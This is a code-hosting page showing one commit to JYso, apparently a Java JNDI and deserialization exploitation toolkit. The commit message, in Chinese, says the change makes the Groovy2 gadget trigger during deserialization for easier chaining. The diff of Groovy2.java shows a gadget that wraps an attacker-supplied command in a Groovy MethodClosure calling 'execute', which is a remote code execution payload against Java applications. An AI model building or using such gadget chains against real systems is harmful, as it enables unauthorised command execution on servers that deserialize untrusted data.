archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-26 16:51:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

groovy2 gadget反序列时触发，方便组合

Browse Source
This commit is contained in:
Fw-fW-fw
2024-08-19 19:06:59 +08:00
parent 7d7128b4db
commit 9db31149d0
1 changed files with 1 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/jndi/gadgets/Groovy2.java
+1 -1
View File
@@ -17,7 +17,7 @@ public class Groovy2 implements ObjectPayload<Object> {
MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure"); MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
Reflections.setFieldValue(execute,"owner",command); Reflections.setFieldValue(execute,"owner",command);
Reflections.setFieldValue(execute,"method","execute"); Reflections.setFieldValue(execute,"method","execute");
GStringImpl gString = new GStringImpl(new Object[]{execute},new String[]{"start"}); GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"});
try { try {
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true); Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);